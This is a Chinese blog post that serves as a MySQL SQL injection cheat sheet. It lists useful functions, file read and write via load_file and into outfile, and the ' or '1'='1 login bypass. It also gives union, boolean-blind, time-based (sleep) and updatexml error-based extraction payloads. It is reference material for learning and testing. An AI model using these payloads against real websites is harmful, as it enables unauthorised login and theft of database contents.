MySQL注入中的常用函数

MySQL注入中的常用函数

system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user()  连接数据库的用户名
database()	数据库名
version()		数据库版本
@@datadir	数据库路径
@@basedir	数据库安装路径
@@version_compile_os	操作系统
count()		返回执行结果数量	select count(*) from users;
concat()		没有分隔符的连接字符串 select concat(username,password) from users;
concat_ws()	含有分隔符的连接字符串 select concat_ws(':',username,password) from users;
group_concat() 	一行显示出来 连接一个组的所有字符串,并以逗号分隔每一条数据
load_file()	读取本地文件     select load_file('D:\\YY\\test.txt');            windows \\         linux /
into outfile	写文件              select 'MySQL' into outfile 'D:\\YY\\test2.txt';
#前提  show global variables like "secure"  查看secure_file_priv 是否没有值 没有值才可以读写文件
ascii()		字符串ascii代码值       select ascii('a');   97
ord()		返回字符串第一个字符的ascii值 select ord('bc');   98
mid('字符串内容',起始位置,长度)		返回字符串的一部分 select  mid('test',2,3);            est
substr('字符串内容',起始位置,长度)		返回字符串的一部分   与mid() 功能基本一致
length('字符串内容')				返回字符串的长度  select length('test');
left('字符串内容',几个字符)			返回字符串的最左侧几个字符
floor(数)					返回小于或等于x的最大整数  select floor(5.9);   5
rand()					返回0和1之间的随机数  select rand();    0-1之间随机生成
extractvalue(xml文档对象名称,XPath格式的字符串) 	从目标xml中,返回包含所查询值的字符串
updatexml(XML文档对象名称,XPath格式的字符串,new Value string格式用于替换) 		改变文档中符合条件的节点的值
sleep()			让此语句运行N秒钟
if(条件,为真返回,为假返回)           select if(1>2,2,3); >3
char()		返回整数ascii代码字符组成的字符串   selct char(a);  > 97
strcmp()		比较字符串ascii值   select strcmp('a','b')  前者大于后者 1  等于0  小于 -1
ifnull()		假如参数1不为NULL,则返回值为1,否则返回值为参数2              select ifnull(1,2);  1   select ifnull(null,2);   2
exp()		返回e的x次方 	select exp(1);

MySQL运算符

算数运算法

  • 加法运算 -减法运算 *乘法运算 /除法运算
    % 求余运算 DIV 除法运算 同/ MOD求余运算 同%

比较运算符

=  <  > 
>=
<=
!=或者 <> 不等于
is null 为空      is not null 不为空
between and  在..之间            select * from users where id between 1 and 4; 
in 	包含 		select * from users where username in ('admin','stupid','Dumb');
not in 	不包含
like 	模式匹配
not like	模式匹配
regexp	正则表达式              select user() regexp 'root';

逻辑运算符

&&或and  与
||或or 	或
!或not	非
XOR	异或

万能密码登录

select * from users where username='$username'   and password ='$pass'

原理
$usernmae =' or '1'='1              
$pass = ' or '1' ='1

' ' or '1' ='1'     假或真为 真
真 and pwd =''  假  为假
假 or  '1'='1' 真  为真   所以绕过

MySQL注入语句样例分析

and 1=2 union select 1,2,3 --+
select user() regexp '^ro';										
ascii(substr( (select user()),1,1))=114
if(ascii(substr((select user()),1,1))=114,1,sleep(5));		         如果该数据库的用户的第一个字母的ascii值为114 返回1,否则该语句运行5秒钟	
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
将查询到的当前数据库的第一个表名的首字母 转化为ascii值 判断是否为101

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

在这里插入图片描述

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值